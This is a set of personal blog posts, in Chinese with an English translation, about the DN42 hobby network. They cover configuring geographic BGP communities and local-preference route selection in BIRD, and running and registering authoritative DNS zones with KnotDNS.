    
    %% ========== Resource Layer ==========
    subgraph Resource["Resources"]
        INETNUM["inetnum\n(IPv4 Block)"]
        INET6NUM["inet6num\n(IPv6 Block)"]
        AUTNUM["aut-num\n(ASN)"]
        ASSET["as-set\n(ASN Set)"]
    end
    
    %% ========== Routing Layer ==========
    subgraph Routing["Routing"]
        ROUTE["route\n(IPv4 Route Announcement)"]
        ROUTE6["route6\n(IPv6 Route Announcement)"]
    end

    %% ========== Contact Layer ==========
    subgraph Contact["Contacts"]
        ROLE["role\n(Team/Function)\nnic-hdl"]
        PERSON["person\n(Individual)\nnic-hdl"]
    end

    %% ========== Authorization Layer ==========
    subgraph Maintainer["Authorization"]
        MNT["mntner\n(Maintainer)"]
    end
    
    %% ========== Contact Links ==========
    INETNUM --> ROLE
    INET6NUM --> ROLE
    AUTNUM --> ROLE
    ASSET --> ROLE
    ROUTE --> ROLE
    ROUTE6 --> ROLE

    ROLE --> PERSON

    %% ========== Organization Assignment ==========
    ORG --> INETNUM
    ORG --> INET6NUM
    ORG --> AUTNUM
    ORG --> ASSET


    %% ========== Authorization ==========
    ORG --> MNT
    INETNUM --> MNT
    INET6NUM --> MNT
    AUTNUM --> MNT
    ASSET --> MNT
    ROUTE --> MNT
    ROUTE6 --> MNT
    ROLE --> MNT
    PERSON --> MNT

    %% ========== Route Binding ==========
    ROUTE -->|origin| AUTNUM
    ROUTE6 -->|origin| AUTNUM

    %% ========== Route Scope ==========
    ROUTE -->|belongs to| INETNUM
    ROUTE6 -->|belongs to| INET6NUM

Special thanks to Mi Lu for providing technical support and answering questions!

Reference Articles:

DN42探究日记 - Ep.4 配置BGP Communities

Sun, 17 Aug 2025 15:43:00 GMT

写在前面

本人是BGP小白，文章中可能会存在不严谨内容/小白理解/低级错误，请诸位大佬们手下留情。若发现存在问题，您愿意的话可以邮件联系我，我会在第一时间更正。如果您不能接受，建议现在就关闭此文章。

什么是BGP Communities

TL;DR: BGP Communities给路由“打标签”，其他人可以通过这个标签实现路由优选

这个概念对于刚入坑的小白 ~~（比如我）~~ 来说可能比较陌生，可能不理解它是干吗用的简单来说，BGP Communities是一种标记路由的机制，类似于给路由打标签。它允许网络管理员给通过BGP传播的路由附加一个或多个“标签”（即社区值）。这些标签本身并不改变路由的路径属性（如AS_PATH、LOCAL_PREF、MED等），但它们提供了一种信号机制，用于向本AS内或下游对等AS中的其他路由器指示应该对该路由执行何种策略或处理。BGP Communities可以用来：

简化策略配置: 网络内部或下游 AS 的路由器只需配置基于社区值的策略（如设置LOCAL_PREF、添加NO_EXPORT、应用路由图等），无需知道具体的前缀细节。这使得策略更集中、更易管理、更不易出错
传达策略意图给下游AS: 可以将社区值附加在它通告给下游客户或对等AS的路由上。这些社区值传达了对这些路由应如何处理的要求或建议，如根据不同地理位置、不同延迟和带宽来进行路由优选等
在AS内部协调策: 在大型AS内部，IBGP全互联或使用路由反射器时，可以在 AS 边缘路由器（接收 EBGP 路由或重分发路由的路由器）给路由打上社区值，AS内部的核心路由器或路由反射器可以识别这些社区值，并应用相应的内部策略（如设置LOCAL_PREF、MED、决定是否向某些IBGP对等体通告、打上其他社区等），而无需在每个内部路由器上配置复杂的基于前缀的策略

DN42中有一套自己的Communities规范，详情可参考：BGP-communities - DN42 Wiki

配置

本文大致思路和方案来源于Xe_iu大佬，仅针对地理位置信息添加BGP Communities并进行优选。一般来说这样就足够了。~~（还有个原因是其他的我还没太搞明白）~~
注意：本文的地理标签用于标识自己发起的路由，因此只给自己的前缀添加，不改写邻居路由上的地理标签。给邻居路由加上自己的地区标签，可能误导依赖这些标签的选路策略，但这不等同于修改路由的起源 AS。Standard Community 和 Large Community 都不自带真实性验证；收到的标签是否可信，需要结合对等关系、约定和导入过滤策略判断。

Large Community 的安全边界可参考 RFC 8092 第 7 节：路径上的中间 AS 可以增加、删除或修改这些属性。

思路已经很明白了，在导出路由时我们需要先验证是否是我们自己的路由，如果是则为路由打上communities标签即可。DN42官方给的样例配置中已经写好了两个函数is_self_net()和is_self_net_v6()用于检查是否是自己的路由，因此编写配置文件部分就很简单了。

为路由添加Communities

首先我们需要在节点配置文件开头定义好当前节点的地理区域信息，详情请查询BGP-communities - DN42 Wiki：

define DN42_REGION = 52;   # 52代表亚洲东部地区
define DN42_COUNTRY= 1344; # 1344代表香港

请将上述数值按照你的节点地理位置情况修改

随后在dnpeers模板中修改导出的过滤器：

         };
 
         export filter {
-            if is_valid_network() && source ~ [RTS_STATIC, RTS_BGP] then accept;
+            if is_valid_network() && source ~ [RTS_STATIC, RTS_BGP] then{ 
+                if (is_self_net()) then {      # 检查是否是自己的路由
+                    bgp_community.add((64511, DN42_REGION));  # 打上大洲级别的区域信息
+                    bgp_community.add((64511, DN42_COUNTRY)); # 打上国家/地区信息
+                }
+                accept;
+            }
             reject;
         };
         import limit 1000 action block;

在导出时检查，如果是自己的路由则按照上面设置的DN42_REGION和DN42_COUNTRY为该路由设置bgp_community。其中，64511是专门为地理标签（Region/Country）保留的公共AS号标识符，直接照抄即可。在IPv6的导出规则中也如法炮制，不过将is_self_net()换成is_self_net_v6()即可。

根据Communities优选

此处我们需要引入另一个概念：local_pref（Local Preference），他用于在AS内部标识路由的优先级。其默认值为100，值越大优先级越高。并且在BGP选路逻辑中，local_pref有着最高的优先级，甚至高于AS_PATH长度。也就是说，通过设置local_pref我们可以调整整个路由的优先级，以实现路由优选。
再结合上文的BGP Communities，我们可以根据Communities来为路由设置相应的local_pref来实现优选。同时，因为BGP.local_pref会在AS内部传递，所以需要同时更改eBGP和iBGP的路由导入和导出逻辑。

此处我处理BGP.local_pref的逻辑参考 ~~（实际上是照抄）~~ 了Xe_iu大佬的方案：

对于同一个大洲的路由，优先级+10
对于同一个国家，优先级再+5
对于直接和自己Peer的路由，优先级再+20

创建一个函数用于优先级计算：

function ebgp_calculate_priority() {
    int priority = 100;  # 基础优先级
    
    # 同区域检测（+10）
    if bgp_community ~ [(64511, DN42_REGION)] then 
        priority = priority + 10;
    
    # 同国家检测（+5）
    if bgp_community ~ [(64511, DN42_COUNTRY)] then 
        priority = priority + 5;
    
    # eBGP直接邻居检测（+20）
    if bgp_path.len = 1 then 
        priority = priority + 20;
    
    return priority;
}

接着，在dnpeers模板中的导入过滤器中将bgp_local_pref设置为从函数计算出来的值：

template bgp dnpeers {
    local as OWNAS;
    path metric 1;

    ipv4 {
        import filter {
            if is_valid_network() && !is_self_net() then {
                if (roa_check(dn42_roa, net, bgp_path.last) != ROA_VALID) then {
                    print "[dn42] ROA check failed for ", net, " ASN ", bgp_path.last;
                    reject;
                }
+               bgp_local_pref = ebgp_calculate_priority(); 
                accept;
            }
            reject;
        };

IPv6也如法炮制即可。

运行birdc configure之后，我们应该就能在自己的邻居那里看到我们的路由已经被打上了Communities标签：

（此处截图来自：https://lg.milu.moe/route_all/hk/172.20.234.224）

特别感谢Nuro Trace大佬和Xe_iu大佬，他们帮助我加深了对BGP Communities的理解并提供了很多帮助
参考文章：

DN42 - Ep.4 Configuring BGP Communities

Sun, 17 Aug 2025 15:43:00 GMT

Foreword

I am a novice in BGP. This article may contain imprecise content/naive understandings/elementary mistakes. I kindly ask the experts to be lenient. If you find any issues, you are welcome to contact me via email, and I will correct them as soon as possible. If you find this unacceptable, it is recommended to close this article now.

What are BGP Communities?

TL;DR: BGP Communities "tag" routes, allowing others to use these tags for route optimization.

This concept might be unfamiliar to newcomers ~~(like me)~~, who might not initially understand its purpose.
Simply put, BGP Communities are a mechanism for tagging routes, similar to adding labels. They allow network administrators to attach one or more "tags" (i.e., community values) to routes propagated via BGP. These tags themselves do not alter the route's path attributes (like AS_PATH, LOCAL_PREF, MED, etc.), but they provide a signaling mechanism to indicate what policy or processing should be applied to that route by other routers within the same AS or in downstream peer ASes. BGP Communities can be used to:

Simplify Policy Configuration: Routers inside the network or in downstream ASes only need to configure policies based on community values (like setting LOCAL_PREF, adding NO_EXPORT, applying route-maps, etc.), without needing to know the specific prefix details. This makes policies more centralized, easier to manage, and less prone to errors.
Convey Policy Intent to Downstream ASes: An AS can attach community values to routes it advertises to its downstream customer or peer ASes. These communities convey requirements or suggestions on how these routes should be handled, such as route optimization based on geographic location, latency, or bandwidth.
Coordinate Policies within an AS: Inside a large AS, when using IBGP full-mesh or route reflectors, edge routers (receiving EBGP routes or redistributing routes) can tag routes with community values. Core routers or route reflectors within the AS can recognize these communities and apply corresponding internal policies (like setting LOCAL_PREF, MED, deciding whether to advertise to certain IBGP peers, adding other communities, etc.), without needing complex prefix-based policies on every internal router.

DN42 has its own set of Communities specifications. For details, please refer to: BGP-communities - DN42 Wiki

Configuration

The general idea and approach in this article are largely based on Xe_iu's method, focusing on adding BGP Communities for geographic information and performing route optimization. Generally, this is sufficient. ~~(Another reason is that I haven't fully grasped the others yet)~~

Note: In this example, geographic tags describe routes originated by our own AS, so I only add them to my own prefixes and leave neighbors' geographic tags unchanged. Adding our region to a neighbor's route could mislead policies that rely on these tags, but it does not change the route's origin AS. Neither Standard nor Large Communities provide built-in authenticity checks; trust depends on peer relationships, agreed semantics, and import filters.

See RFC 8092, Section 7: intermediate ASes can add, delete, or alter Large Community attributes.

The idea is clear. When exporting routes, we first need to verify if it's our own route. If it is, we add the communities tag to the route. The sample configuration provided by DN42 already includes two functions, is_self_net() and is_self_net_v6(), to check if a route is our own. Therefore, writing the configuration part is straightforward.

Adding Communities to Routes

First, we need to define the geographic region information for the current node at the beginning of the node configuration file. Please check BGP-communities - DN42 Wiki for details:

define DN42_REGION = 52;   # 52 represents East Asia
define DN42_COUNTRY= 1344; # 1344 represents Hong Kong

Please modify these values according to your node's actual geographic location.

Then, modify the export filter in the dnpeers template:

         };

         export filter {
-            if is_valid_network() && source ~ [RTS_STATIC, RTS_BGP] then accept;
+            if is_valid_network() && source ~ [RTS_STATIC, RTS_BGP] then{
+                if (is_self_net()) then {      # Check if it's our own route
+                    bgp_community.add((64511, DN42_REGION));  # Add continent-level region info
+                    bgp_community.add((64511, DN42_COUNTRY)); # Add country/region info
+                }
+                accept;
+            }
             reject;
         };
         import limit 1000 action block;

During export, it checks if it's our own route. If it is, it sets the bgp_community according to the defined DN42_REGION and DN42_COUNTRY. Here, 64511 is the reserved public AS number identifier specifically for geographic tags (Region/Country); you can just copy it. Apply the same method to the IPv6 export rules, but replace is_self_net() with is_self_net_v6().

Route Optimization Based on Communities

Here we need to introduce another concept: local_pref (Local Preference). It is used within an AS to indicate the priority of a route. Its default value is 100, and a higher value indicates higher priority. Furthermore, in BGP route selection logic, local_pref has the highest priority, even higher than AS_PATH length. This means that by setting local_pref, we can adjust the priority of routes to achieve route optimization. Combining this with the BGP Communities mentioned above, we can set the corresponding local_pref based on Communities for optimization. Also, since BGP.local_pref is propagated within the AS, we need to modify the import logic for both eBGP and iBGP routes.

My logic for handling BGP.local_pref here references ~~(basically copies)~~ Xe_iu's approach:

For routes from the same region, priority +10
For routes from the same country, priority +5 additionally
For routes received via direct peering with us, priority +20 additionally

Create a function to calculate the priority:

function ebgp_calculate_priority() {
    int priority = 100;  # Base priority

    # Same region detection (+10)
    if bgp_community ~ [(64511, DN42_REGION)] then
        priority = priority + 10;

    # Same country detection (+5)
    if bgp_community ~ [(64511, DN42_COUNTRY)] then
        priority = priority + 5;

    # Direct eBGP neighbor detection (+20)
    if bgp_path.len = 1 then
        priority = priority + 20;

    return priority;
}

Then, in the import filter within the dnpeers template, set bgp_local_pref to the value calculated by the function:

template bgp dnpeers {
    local as OWNAS;
    path metric 1;

    ipv4 {
        import filter {
            if is_valid_network() && !is_self_net() then {
                if (roa_check(dn42_roa, net, bgp_path.last) != ROA_VALID) then {
                    print "[dn42] ROA check failed for ", net, " ASN ", bgp_path.last;
                    reject;
                }
+               bgp_local_pref = ebgp_calculate_priority(); 
                accept;
            }
            reject;
        };

Apply the same method for IPv6.

After running birdc configure, we should be able to see that our routes have been tagged with Communities labels at our neighbors:

(Screenshot source:https://lg.milu.moe/route_all/hk/172.20.234.224)

Special thanks to Nuro Trace and Xe_iu. They helped deepen my understanding of BGP Communities and provided much assistance. Reference Articles:

DN42探究日记 - Ep.3 在DN42中注册域名并搭建权威DNS

Sun, 03 Aug 2025 13:22:00 GMT

写在前面

假设你已经加入了DN42，并且能够正常收发路由表并且访问到DN42内的IP

本文更新日志

2025年8月3日：文章第一版发布
2026年3月15日：更新修复一些typo（感谢@Auride大佬的指正）

起因

在调试网络的时候发现Ping或traceroute别人的DN42 IP都能显示出来反向解析的域名，能知道路由经过了哪些节点而不是单纯的看IP（如下图），非常一目了然，~~让别人一眼就看出来你绕路了（逃），~~ 因此打算自己也注册一个DN42域名并搭建权威DNS服务。

查阅了蓝天大佬的这篇文章，他使用了PowerDNS+MySQL主从同步方案，但是我的服务器性能较差（只有1核心1GB内存），因此打算使用KnotDNS作为DNS服务器，用标准区域传输协议（AXFR/IXFR）实现主从同步。

准备工作

:::warning 本章及后续章节中提到的域名和IP均为我自己的域名和IP，实际部署时请换成你自己的；文章中尖括号括起来的值需要按你的需求修改 :::

挑选一个自己心仪的域名：yori.dn42，并且计划在三台机器上部署DNS服务器：

172.20.234.225, fd18:3e15:61d0::1, ns1.yori.dn42
172.20.234.227, fd18:3e15:61d0::3, ns2.yori.dn42
172.20.234.229, fd18:3e15:61d0::5, ns3.yori.dn42

其中，ns1.yori.dn42作为主服务器，ns2、ns3作为从服务器。

安装KnotDNS

如果系统的53端口被systemd-resolvd之类的进程占用了，就先将其禁用：

systemctl stop systemd-resolved
systemctl disable systemd-resolved
unlink /etc/resolv.conf
echo "nameserver 8.8.8.8" > /etc/resolv.conf

我使用的是Debian12系统，因此使用APT安装：

apt install knot knot-dnsutils -y

设置KnotDNS自启动：

systemctl enable knot

配置KnotDNS

创建key

首先创建一个key用于同步：

keymgr -t key_knsupdate

将输出部分复制下来：

# hmac-sha256:key_knsupdate:<your secret>
key:
  - id: key_knsupdate
    algorithm: hmac-sha256
    secret: <your secret>

编辑配置文件

主服务器

编辑/etc/knot/knot.conf，填入如下内容：

server:
    rundir: "/run/knot"
    user: knot:knot
    automatic-acl: on
    listen: [ <监听地址1>@53, <监听地址2>@53, ... ]

log:
  - target: syslog
    any: info

database:
    storage: "/var/lib/knot"

### 此处粘贴上一步生成的Key
# hmac-sha256:key_knsupdate:<your secret>
key:
  - id: key_knsupdate
    algorithm: hmac-sha256
    secret: <your secret>

remote:
  - id: <1号DNS服务器ID>
    address: <1号DNS服务器IP>@53

  - id: <2号DNS服务器ID>
    address: <2号DNS服务器IP>@53

  - id: <3号DNS服务器ID>
    address: <3号DNS服务器IP>@53

acl:
  - id: acl_slave
    key: key_knsupdate
    action: transfer
 
  - id: acl_master
    key: key_knsupdate
    action: notify
 
  - id: acl_knsupdate
    key: key_knsupdate
    action: update

template:
  - id: default
    storage: "/var/lib/knot"
    file: "%s.zone"

zone:
  - domain: <DN42 域名>
    notify: [ <从服务器1ID>, <从服务器2ID> ]
    acl: [ acl_slave, acl_knsupdate ]
  - domain: <IPv4反向解析域名>
    notify: [ <从服务器1ID>, <从服务器2ID> ]
    acl: [ acl_slave, acl_knsupdate ]
  - domain: <IPv6反向解析域名>
    notify: [ <从服务器1ID>, <从服务器2ID> ]
    acl: [ acl_slave, acl_knsupdate ]

其中，监听地址需要填写本机的DN42 IPv4和DN42 IPv6，如果需要本地调试可再加上127.0.0.1和localhost等内网IP
从服务器ID即remote里设置的服务器的ID，你选定哪台（哪些）机器作为从服务器就填写哪台（哪些）服务器的ID
remote中的address可以填写内网地址或者DN42 IPv4或者DN42 IPv6，仅用于同步主从服务器。如果使用内网地址请将地址加到监听列表中
template中设置了将Zone文件存储在/var/lib/knot下
IPv4反向解析域名按照你申请的IPv4段填写，遵循RFC 2317规定的格式，如我的IPv4段是172.20.234.224/28，我的IPv4反向解析域名应该为224/28.234.20.172.in-addr.arpa，即将IPv4的最后一段225/28看作一个整体，剩下的按照点来分隔，再将各个部分倒序拼接，最后加上.in-addr.arpa
IPv6反向解析域名按照你申请的IPv6段填写，遵循RFC 3152规定的格式，如我的IPv6段是fd18:3e15:61d0::/48，我的IPv6反向解析域名应该为0.d.1.6.5.1.e.3.8.1.d.f.ip6.arpa，即将地址块中的各个字符倒序拼接，最后加上.ip6.arpa。如果有0需要补全。

示例

server:
    rundir: "/run/knot"
    user: knot:knot
    automatic-acl: on
    listen: [ 172.20.234.225@53, fd18:3e15:61d0::1@53, localhost@53, 127.0.0.1@53 ]

log:
  - target: syslog
    any: info

database:
    storage: "/var/lib/knot"

# hmac-sha256:key_knsupdate:<key>
key:
  - id: key_knsupdate
    algorithm: hmac-sha256
    secret: <key>

remote:
  - id: 225 # 主服务器
    address: 172.20.234.225@53

  - id: 227 # 从服务器
    address: 172.20.234.227@53

  - id: 229 # 从服务器
    address: 172.20.234.229@53

acl:
  - id: acl_slave
    key: key_knsupdate
    action: transfer
 
  - id: acl_master
    key: key_knsupdate
    action: notify
 
  - id: acl_knsupdate
    key: key_knsupdate
    action: update

template:
  - id: default
    storage: "/var/lib/knot"
    file: "%s.zone"

zone:
  - domain: yori.dn42
    notify: [ 227, 229 ]
    acl: [ acl_slave, acl_knsupdate ]
  - domain: 224/28.234.20.172.in-addr.arpa
    notify: [ 227, 229 ]
    acl: [ acl_slave, acl_knsupdate ]
  - domain: 0.d.1.6.5.1.e.3.8.1.d.f.ip6.arpa
    notify: [ 227, 229 ]
    acl: [ acl_slave, acl_knsupdate ]
#    # Secondary zone
#  - domain: example.net
#    master: primary

从服务器

从服务器的大致内容和主服务器相同，只需要将监听地址改成从服务器的地址，并且将zone部分配置修改一下：

--- a/knot.conf
+++ b/knot.conf
 zone:
   - domain: <DN42 域名>
-    notify: [ <从服务器1ID>, <从服务器2ID> ]
-    acl: [ acl_slave, acl_knsupdate ]
+    master: <主服务器ID>
+    zonefile-load: whole
+    acl: acl_master
   - domain: <IPv4反向解析域名>
-    notify: [ <从服务器1ID>, <从服务器2ID> ]
-    acl: [ acl_slave, acl_knsupdate ]
+    master: <主服务器ID>
+    zonefile-load: whole
+    acl: acl_master
   - domain: <IPv6反向解析域名>
-    notify: [ <从服务器1ID>, <从服务器2ID> ]
-    acl: [ acl_slave, acl_knsupdate ]
+    master: <主服务器ID>
+    zonefile-load: whole
+    acl: acl_master

主服务器ID即remote里设置的服务器的ID，你选定哪台机器作为主服务器就填写哪台服务器的ID

样例

server:
    rundir: "/run/knot"
    user: knot:knot
    automatic-acl: on
    listen: [ 172.20.234.227@53, fd18:3e15:61d0::3@53, localhost@53, 127.0.0.1@53 ]

log:
  - target: syslog
    any: info

database:
    storage: "/var/lib/knot"

# hmac-sha256:key_knsupdate:<key>
key:
  - id: key_knsupdate
    algorithm: hmac-sha256
    secret: <key>

remote:
  - id: 225
    address: 172.20.234.225@53

  - id: 227
    address: 172.20.234.227@53

  - id: 229
    address: 172.20.234.229@53

acl:
  - id: acl_slave
    key: key_knsupdate
    action: transfer
 
  - id: acl_master
    key: key_knsupdate
    action: notify
 
  - id: acl_knsupdate
    key: key_knsupdate
    action: update

template:
  - id: default
    storage: "/var/lib/knot"
    file: "%s.zone"

zone:
  - domain: yori.dn42
    master: 225
    zonefile-load: whole
    acl: acl_master
  - domain: 224/28.234.20.172.in-addr.arpa
    master: 225
    zonefile-load: whole
    acl: acl_master
  - domain: 0.d.1.6.5.1.e.3.8.1.d.f.ip6.arpa
    master: 225
    zonefile-load: whole
    acl: acl_master

编写完配置文件后运行如下指令重启KnotDNS：

systemctl restart knot

编辑Zone区域文件

此章节中的记录值（非主机名）若需要填写域名，除了特殊说明外，都请遵循RFC 1034规范填写FQDN格式。此章节中的所有配置均在主DNS服务器上完成

DN42域名

进入/var/lib/knot，创建文件<dn42域名>.zone

SOA记录

域名的第一条记录必须为SOA记录，SOA记录是起始授权记录，记录了域名的一些基本信息如主要NS服务器地址。填入如下内容：

@ <TTL> SOA <主要NS服务器地址> <联系人邮件> <记录编号> <AXFR刷新时间> <AXFR重试时间> <AXFR过期时间> <最小TTL>

@表示是当前域名本身，不用修改
TTL: 当前SOA记录的TTL值
主要NS服务器地址: 当前域名的主要权威NS服务器地址，可以是域名内的解析值，如我的主要NS服务器是172.20.234.225，我打算使用ns1.yori.dn42.指向此地址，那么此处可填写ns1.yori.dn42.
联系人邮件: 邮箱地址，并且用.代替@，如我的邮箱是i@iyoroy.cn，那么此处可填写i.iyoroy.cn
记录编号: 一个10位数字，遵循RFC 1912，表示Zone文件的版本号。其他DNS服务器在获取SOA后发现序列号增加了就会重新拉取新的记录。一般使用日期+编号的方式编码，因此此项值应该在每次修改后递增。
AXFR刷新时间: AXFR从服务器两次拉取的间隔
AXFR重试时间: AXFR从服务器拉取失败后重试时间
AXFR过期时间: AXFR从服务器拉取失败后，最多用先前最后一次拉取成功的记录继续提供服务这么长时间，之后停止应答
最小TTL: 当前整个域名的最小TTL值，所有记录的最小刷新时间，至少过了这么长时间才会刷新

样例

; SOA
@ 3600 SOA ns1.yori.dn42. i.iyoroy.cn. 2025072705 60 60 1800 60

NS记录

@ <TTL> NS <NS服务器1>
@ <TTL> NS <NS服务器2>
@ <TTL> NS <NS服务器3>

根据你的实际情况填写，有几台服务器就填写几条记录。

样例

; NS
@ 3600 NS ns1.yori.dn42.
@ 3600 NS ns2.yori.dn42.
@ 3600 NS ns3.yori.dn42.

A、AAAA、CNAME等记录

按照如下格式填写即可：

<主机名> <TTL> <类型> <记录值>

如果你的NS服务器值指向了你自己的DN42域名的主机，请务必为其添加A类型或者AAAA类型的解析记录

样例

; A
ns1 600 A 172.20.234.225
ns2 600 A 172.20.234.227
ns3 600 A 172.20.234.229
hkg-cn.node 600 A 172.20.234.225
nkg-cn.node 600 A 172.20.234.226
tyo-jp.node 600 A 172.20.234.227
hfe-cn.node 600 A 172.20.234.228
lax-us.node 600 A 172.20.234.229

; AAAA
ns1 600 AAAA fd18:3e15:61d0::1
ns2 600 AAAA fd18:3e15:61d0::3
ns3 600 AAAA fd18:3e15:61d0::5
hkg-cn.node 600 AAAA fd18:3e15:61d0::1
nkg-cn.node 600 AAAA fd18:3e15:61d0::2
tyo-jp.node 600 AAAA fd18:3e15:61d0::3
hfe-cn.node 600 AAAA fd18:3e15:61d0::4
lax-us.node 600 AAAA fd18:3e15:61d0::5

完整样例

/var/lib/knot/yori.dn42.zone

; SOA
@ 3600 SOA ns1.yori.dn42. i.iyoroy.cn. 2025072705 60 60 1800 60

; NS
@ 3600 NS ns1.yori.dn42.
@ 3600 NS ns2.yori.dn42.
@ 3600 NS ns3.yori.dn42.

; A
ns1 600 A 172.20.234.225
ns2 600 A 172.20.234.227
ns3 600 A 172.20.234.229
hkg-cn.node 600 A 172.20.234.225
nkg-cn.node 600 A 172.20.234.226
tyo-jp.node 600 A 172.20.234.227
hfe-cn.node 600 A 172.20.234.228
lax-us.node 600 A 172.20.234.229

; AAAA
ns1 600 AAAA fd18:3e15:61d0::1
ns2 600 AAAA fd18:3e15:61d0::3
ns3 600 AAAA fd18:3e15:61d0::5
hkg-cn.node 600 AAAA fd18:3e15:61d0::1
nkg-cn.node 600 AAAA fd18:3e15:61d0::2
tyo-jp.node 600 AAAA fd18:3e15:61d0::3
hfe-cn.node 600 AAAA fd18:3e15:61d0::4
lax-us.node 600 AAAA fd18:3e15:61d0::5

IPv4反向解析域名

在/var/lib/knot下创建文件<IPv4反向解析域名>.in-addr.arpa，并用_代替/。如我的IPv4段是172.20.234.224/28，我的IPv4反向解析域名是224/28.234.20.172.in-addr.arpa，那么此处文件名为224_28.234.20.172.in-addr.arpa.zone。填入解析记录：

; SOA
@ <TTL> SOA <主要NS服务器地址> <联系人邮件> <记录编号> <AXFR刷新时间> <AXFR重试时间> <AXFR过期时间> <最小TTL>

; NS
@ <TTL> NS <NS服务器1>
@ <TTL> NS <NS服务器2>
@ <TTL> NS <NS服务器3>
 
; PTR
<IPv4地址最后一位> <TTL> PTR <反向解析DNS值>
<IPv4地址最后一位> <TTL> PTR <反向解析DNS值>
<IPv4地址最后一位> <TTL> PTR <反向解析DNS值>
...

SOA和NS记录和上方相同
IPv4地址最后一位: 你给设备绑定的DN42 IPv4地址四段中的最后一段，如我的HK节点分配的172.20.234.225地址，那么此处就填写`225

样例

224_28.234.20.172.in-addr.arpa.zone

; SOA
@ 3600 SOA ns1.yori.dn42. i.iyoroy.cn. 2025072802 60 60 1800 60

; NS
@ 3600 NS ns1.yori.dn42.
@ 3600 NS ns2.yori.dn42.
@ 3600 NS ns3.yori.dn42.
 
; PTR
225 600 PTR hkg-cn.node.yori.dn42.
226 600 PTR nkg-cn.node.yori.dn42.
227 600 PTR tyo-jp.node.yori.dn42.
228 600 PTR hfe-cn.node.yori.dn42.
229 600 PTR lax-us.node.yori.dn42.

你可能会疑惑为何需要带上CIDR掩码，这与Clearnet中常见的、按八位组倒序的格式（如234.20.172.in-addr.arpa）不同；以及如果你尝试本地测试，你会发现直接测试你自己的IP地址的反解会失败。

原因在于DN42的分布式注册机制：单个区域文件无法覆盖你的地址段的所有反向查询入口点（即每个具体IP地址对应的.in-addr.arpa名称）。为了解决这个问题，DN42官方DNS会在你的PR被合并后，在其权威DNS服务器上为你的地址段添加CNAME重定向，将单个IP的PTR记录指向你的带CIDR的格式，如下：

~$ dig PTR 225.234.20.172.in-addr.arpa  +short
225.224/28.234.20.172.in-addr.arpa.  # <-- Registry 添加的 CNAME (重定向)
hkg-cn.node.yori.dn42.               # <-- DNS 返回的最终 PTR 记录

当外部解析器查询某个具体IP (如172.20.234.225) 的反向记录时（查询225.234.20.172.in-addr.arpa），官方DNS会返回一个CNAME记录，将其指向CIDR的区域名称下的具体记录（225.224/28.234.20.172.in-addr.arpa）。最终，PTR 记录由你配置的权威 DNS 服务器提供。

IPv6反向解析域名

在/var/lib/knot下创建文件<IPv6反向解析域名>.ip6.arpa。如我的IPv6段是fd18:3e15:61d0::/48，我的IPv6反向解析域名是0.d.1.6.5.1.e.3.8.1.d.f.ip6.arpa，那么此处文件名为0.d.1.6.5.1.e.3.8.1.d.f.ip6.arpa.zone。填入解析记录：

; SOA
@ <TTL> SOA <主要NS服务器地址> <联系人邮件> <记录编号> <AXFR刷新时间> <AXFR重试时间> <AXFR过期时间> <最小TTL>

; NS
@ <TTL> NS <NS服务器1>
@ <TTL> NS <NS服务器2>
@ <TTL> NS <NS服务器3>

; PTR
<最后20字符反向序列> <TTL> PTR <反向解析DNS值>
<最后20字符反向序列> <TTL> PTR <反向解析DNS值>
<最后20字符反向序列> <TTL> PTR <反向解析DNS值>
...

SOA和NS记录处理方式同上
PTR的主机名，需要你将主机IPv6地址移除/48前缀后的80位部分展开为20个十六进制字符，并倒序排列这些字符并用点分隔。如我的香港节点IPv6是fd18:3e15:61d0::1，展开就是fd18:3e15:61d0:0000:0000:0000:0000:0001，此处主机名就填写1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0

样例

0.d.1.6.5.1.e.3.8.1.d.f.ip6.arpa.zone

; SOA
@ 3600 SOA ns1.yori.dn42. i.iyoroy.cn. 2025072802 60 60 1800 60

; NS
@ 3600 NS ns1.yori.dn42.
@ 3600 NS ns2.yori.dn42.
@ 3600 NS ns3.yori.dn42.

; PTR
1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 600 PTR hkg-cn.node.yori.dn42.
2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 600 PTR nkg-cn.node.yori.dn42.
3.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 600 PTR tyo-jp.node.yori.dn42.
4.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 600 PTR hfe-cn.node.yori.dn42.
5.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 600 PTR lax-us.node.yori.dn42.

验证设置

全部保存后在每台DNS服务器上都运行一次knot reload重载，不出意外的话应该能看到从服务器同步了主服务器的zone文件，此时通过dig或者nslookup指定服务器查询应该能查到解析记录了

注册

域名

克隆下DN42 Registry，进入data/dns，新建文件<你打算注册的域名>，填入如下内容：

domain:             <你打算注册的域名>
admin-c:            <管理员NIC句柄>
tech-c:             <技术人员NIC句柄>
mnt-by:             <维护者>
nserver:            <NS1服务器域名> <NS1服务器IP>
nserver:            <NS2服务器域名> <NS2服务器IP>
nserver:            <NS3服务器域名> <NS3服务器IP>
...
source:             DN42

admin-c、tech-c、mnt-by请参考DN42探究日记 - Ep.1 加入DN42网络

样例

data/dns/yori.dn42

domain:             yori.dn42
admin-c:            IYOROY-DN42
tech-c:             IYOROY-DN42
mnt-by:             IYOROY-MNT
nserver:            ns1.yori.dn42 172.20.234.225
nserver:            ns1.yori.dn42 fd18:3e15:61d0::1
nserver:            ns2.yori.dn42 172.20.234.227
nserver:            ns2.yori.dn42 fd18:3e15:61d0::3
nserver:            ns3.yori.dn42 172.20.234.229
nserver:            ns3.yori.dn42 fd18:3e15:61d0::5
source:             DN42

IPv4反向解析域名

进入data/inetnum，找到你注册的地址块，加nserver字段，填写为你自己的DNS服务器：

nserver:            <你的DNS服务器地址>
nserver:            <你的DNS服务器地址>
...

样例

diff --git a/data/inetnum/172.20.234.224_28 b/data/inetnum/172.20.234.224_28
index 50c800945..5ad60e23d 100644
--- a/data/inetnum/172.20.234.224_28
+++ b/data/inetnum/172.20.234.224_28
@@ -8,3 +8,6 @@ tech-c:             IYOROY-DN42
 mnt-by:             IYOROY-MNT
 status:             ASSIGNED
 source:             DN42
+nserver:            ns1.yori.dn42
+nserver:            ns2.yori.dn42
+nserver:            ns3.yori.dn42

IPv6反向解析域名

进入data/inet6num，找到你注册的地址块，加nserver字段，填写为你自己的DNS服务器：

nserver:            <你的DNS服务器地址>
nserver:            <你的DNS服务器地址>
...

样例

